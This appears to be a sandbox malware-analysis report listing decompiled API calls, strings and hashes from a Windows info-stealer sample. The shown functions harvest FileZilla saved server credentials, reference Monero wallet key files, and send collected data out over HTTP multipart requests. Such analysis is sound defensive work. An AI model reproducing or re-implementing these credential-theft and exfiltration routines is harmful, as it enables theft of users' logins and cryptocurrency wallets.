lstrcat.KERNEL32(?,0108ED88), ref: 0052793F
lstrcat.KERNEL32(?,0108EC68), ref: 00527952
lstrcat.KERNEL32(?,0108EE90), ref: 00527966
lstrcat.KERNEL32(?,0108A8D8), ref: 0052797A
lstrcat.KERNEL32(?,?), ref: 0052798E
lstrcat.KERNEL32(?,?), ref: 005279A2
lstrcat.KERNEL32(?,?), ref: 005279B6
lstrcat.KERNEL32(?,0108EE78), ref: 005279C9
lstrcat.KERNEL32(?,0108ED88), ref: 005279DD
lstrcat.KERNEL32(?,0108EC68), ref: 005279F1
lstrcat.KERNEL32(?,0108EE90), ref: 00527A04
lstrcat.KERNEL32(?,0108A940), ref: 00527A18
lstrcat.KERNEL32(?,?), ref: 00527A2C
lstrcat.KERNEL32(?,?), ref: 00527A40
lstrcat.KERNEL32(?,?), ref: 00527A54
lstrcat.KERNEL32(?,0108EE78), ref: 00527A68
lstrcat.KERNEL32(?,0108ED88), ref: 00527A7B
lstrcat.KERNEL32(?,0108EC68), ref: 00527A8F
lstrcat.KERNEL32(?,0108EE90), ref: 00527AA3
lstrcat.KERNEL32(?,0108F0B0), ref: 00527AB6
lstrcat.KERNEL32(?,?), ref: 00527ACA
lstrcat.KERNEL32(?,?), ref: 00527ADE
lstrcat.KERNEL32(?,?), ref: 00527AF2
lstrcat.KERNEL32(?,0108EE78), ref: 00527B06
lstrcat.KERNEL32(?,0108ED88), ref: 00527B1A
lstrcat.KERNEL32(?,0108EC68), ref: 00527B2D
lstrcat.KERNEL32(?,0108EE90), ref: 00527B41
lstrcat.KERNEL32(?,0108F118), ref: 00527B55
lstrcat.KERNEL32(?,?), ref: 00527B69
lstrcat.KERNEL32(?,?), ref: 00527B7D
lstrcat.KERNEL32(?,?), ref: 00527B91
lstrcat.KERNEL32(?,0108EE78), ref: 00527BA4
lstrcat.KERNEL32(?,0108ED88), ref: 00527BB8
lstrcat.KERNEL32(?,0108EC68), ref: 00527BCC
lstrcat.KERNEL32(?,0108EE90), ref: 00527BDF
lstrcat.KERNEL32(?,0108F180), ref: 00527BF3
lstrcat.KERNEL32(?,?), ref: 00527C07
lstrcat.KERNEL32(?,?), ref: 00527C1B
lstrcat.KERNEL32(?,?), ref: 00527C2F
lstrcat.KERNEL32(?,0108EE78), ref: 00527C43
lstrcat.KERNEL32(?,0108ED88), ref: 00527C56
lstrcat.KERNEL32(?,0108EC68), ref: 00527C6A
lstrcat.KERNEL32(?,0108EE90), ref: 00527C7E

Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020,005417FC), ref: 00527606
Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020,00000000), ref: 00527648
Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020, : ), ref: 0052765A
Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020,00000000), ref: 0052768F
Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020,00541804), ref: 005276A0
Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020,00000000), ref: 005276D3
Part of subcall function 005275D0: lstrcat.KERNEL32(3571D020,00541808), ref: 005276ED
Part of subcall function 005275D0: task.LIBCPMTD ref: 005276FB

lstrcat.KERNEL32(?,0108F398), ref: 00527E0B
lstrcat.KERNEL32(?,0108DF88), ref: 00527E1E
lstrlen.KERNEL32(3571D020), ref: 00527E2B
lstrlen.KERNEL32(3571D020), ref: 00527E3B

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 46bfa7a494942016be4f38edc1f3460442b4e3e101d1f80583ee41477632cb8e
Instruction ID: 91aeada1ed31bdd42b6aa6c717c90b33a9516aa4da60f936c350b3f5cec18012
Opcode Fuzzy Hash: 46bfa7a494942016be4f38edc1f3460442b4e3e101d1f80583ee41477632cb8e
Instruction Fuzzy Hash: 663205B6D00319ABC715EBA0DC89DEE777CBB48700F444698F21AA2090DEB9E785CF55

Function 00530250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

GetProcessHeap.KERNEL32(00000000,000F423F,00540DBA,00540DB7,00540DB6,00540DB3), ref: 00530362
RtlAllocateHeap.NTDLL(00000000), ref: 00530369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00530385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 005303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00530419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00530463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 0053051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 00530532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 0053054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00530562
lstrcat.KERNEL32(?,profile: null), ref: 00530571
lstrcat.KERNEL32(?,url: ), ref: 00530580
lstrcat.KERNEL32(?,00000000), ref: 00530593
lstrcat.KERNEL32(?,00541678), ref: 005305A2
lstrcat.KERNEL32(?,00000000), ref: 005305B5
lstrcat.KERNEL32(?,0054167C), ref: 005305C4
lstrcat.KERNEL32(?,login: ), ref: 005305D3
lstrcat.KERNEL32(?,00000000), ref: 005305E6
lstrcat.KERNEL32(?,00541688), ref: 005305F5
lstrcat.KERNEL32(?,password: ), ref: 00530604
lstrcat.KERNEL32(?,00000000), ref: 00530617
lstrcat.KERNEL32(?,00541698), ref: 00530626
lstrcat.KERNEL32(?,0054169C), ref: 00530635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00540DB2), ref: 0053068E

Strings

<User>, xrefs: 00530410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005302A4
browser: FileZilla, xrefs: 00530559
<Pass encoding="base64">, xrefs: 0053045A
<Host>, xrefs: 0053037C
<Port>, xrefs: 005303C6
url: , xrefs: 00530577
profile: null, xrefs: 00530568
login: , xrefs: 005305CA
password: , xrefs: 005305FB

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 15d2c550ffde0404f4d48fc085f49f09ac0598f94a77190189e6c537a6dd913a
Instruction ID: 675f5f45420a187b1c2b97097295e24138478b1a85bb78e024a380494286d7af
Opcode Fuzzy Hash: 15d2c550ffde0404f4d48fc085f49f09ac0598f94a77190189e6c537a6dd913a
Instruction Fuzzy Hash: 43D11F72900209ABCB04EBF4DD9AEEEBB38BF94300F548418F143B7195DE74AA45DB65

Function 00525100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

lstrlen.KERNEL32(00000000), ref: 00525193

Part of subcall function 00538EA0: CryptBinaryToStringA.CRYPT32(00000000,00525184,40000001,00000000,00000000,?,00525184), ref: 00538EC0

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00525207
StrCmpCA.SHLWAPI(?,0108F278), ref: 00525225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00525340
HttpOpenRequestA.WININET(00000000,0108F348,?,0108EC50,00000000,00000000,00400100,00000000), ref: 005253A4

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0108F408,00000000,?,0108E850,00000000,?,005419DC,00000000,?,005351CF), ref: 00525737
lstrlen.KERNEL32(00000000), ref: 0052574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0052575C
RtlAllocateHeap.NTDLL(00000000), ref: 00525763
lstrlen.KERNEL32(00000000), ref: 00525778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005257A9
lstrlen.KERNEL32(00000000), ref: 005257C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005257E1
lstrlen.KERNEL32(00000000,?,?), ref: 0052580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00525822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0052584D
InternetCloseHandle.WININET(00000000), ref: 005258B1
InternetCloseHandle.WININET(00000000), ref: 005258BE
InternetCloseHandle.WININET(00000000), ref: 005258C8

Strings

", xrefs: 00525482
", xrefs: 00525706
--, xrefs: 00525280
------, xrefs: 0052563B
", xrefs: 005255C4
------, xrefs: 005253B7
------, xrefs: 005254F9
------, xrefs: 00525297

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: b83e4df7cc5ef587dfa4560c6505d229d9d1788936f4977c90d4adbd7822b58e
Instruction ID: ba9ac8ec8b9b2ef350eab3b3701d7cf02274428838ec6a0013c549f882d9cc4f
Opcode Fuzzy Hash: b83e4df7cc5ef587dfa4560c6505d229d9d1788936f4977c90d4adbd7822b58e
Instruction Fuzzy Hash: B1324272920119ABDB14EBA0DC99FEEBB78BF94700F404199F14772092EF742A49CF56

Function 0052A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053AA70: StrCmpCA.SHLWAPI(01088B58,0052A7A7,?,0052A7A7,01088B58), ref: 0053AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0052AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0052AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0052ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052A8B0

Part of subcall function 0053A820: lstrlen.KERNEL32(00524F05,?,?,00524F05,00540DDE), ref: 0053A82B
Part of subcall function 0053A820: lstrcpy.KERNEL32(00540DDE,00000000), ref: 0053A885

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

lstrcat.KERNEL32(?,00000000), ref: 0052ACEB
lstrcat.KERNEL32(?,00541320), ref: 0052ACFA
lstrcat.KERNEL32(?,00000000), ref: 0052AD0D
lstrcat.KERNEL32(?,00541324), ref: 0052AD1C
lstrcat.KERNEL32(?,00000000), ref: 0052AD2F
lstrcat.KERNEL32(?,00541328), ref: 0052AD3E
lstrcat.KERNEL32(?,00000000), ref: 0052AD51
lstrcat.KERNEL32(?,0054132C), ref: 0052AD60
lstrcat.KERNEL32(?,00000000), ref: 0052AD73
lstrcat.KERNEL32(?,00541330), ref: 0052AD82
lstrcat.KERNEL32(?,00000000), ref: 0052AD95
lstrcat.KERNEL32(?,00541334), ref: 0052ADA4
lstrcat.KERNEL32(?,00000000), ref: 0052ADB7
lstrlen.KERNEL32(?), ref: 0052AE0D
lstrlen.KERNEL32(?), ref: 0052AE1C

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

DeleteFileA.KERNEL32(00000000), ref: 0052AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0052ABD4

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 53219e1d23e5de5e505419bf71758287e7e9ef94ba281dddd80d6b392f40ff29
Instruction ID: 67f305b924eb0f23578eb90a3b4256720403e6ce65cb3b47e1f1996c45d370dc
Opcode Fuzzy Hash: 53219e1d23e5de5e505419bf71758287e7e9ef94ba281dddd80d6b392f40ff29
Instruction Fuzzy Hash: 6012237291010AABCB04EBA0DD9AEEEBB38BF94300F504158F547B6091DF75AE45CF66

Function 00525960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005259F8
StrCmpCA.SHLWAPI(?,0108F278), ref: 00525A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00525B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0108F3E8,00000000,?,0108E850,00000000,?,00541A1C), ref: 00525E71
lstrlen.KERNEL32(00000000), ref: 00525E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00525E93
RtlAllocateHeap.NTDLL(00000000), ref: 00525E9A
lstrlen.KERNEL32(00000000), ref: 00525EAF
lstrlen.KERNEL32(00000000), ref: 00525ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00525EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00525F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00525F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00525F4C
InternetCloseHandle.WININET(00000000), ref: 00525FB0
InternetCloseHandle.WININET(00000000), ref: 00525FBD
HttpOpenRequestA.WININET(00000000,0108F348,?,0108EC50,00000000,00000000,00400100,00000000), ref: 00525BF8

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

InternetCloseHandle.WININET(00000000), ref: 00525FC7

Strings

", xrefs: 00525CD5
------, xrefs: 00525C0B
", xrefs: 00525E16
------, xrefs: 00525D4C
------, xrefs: 00525A96

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
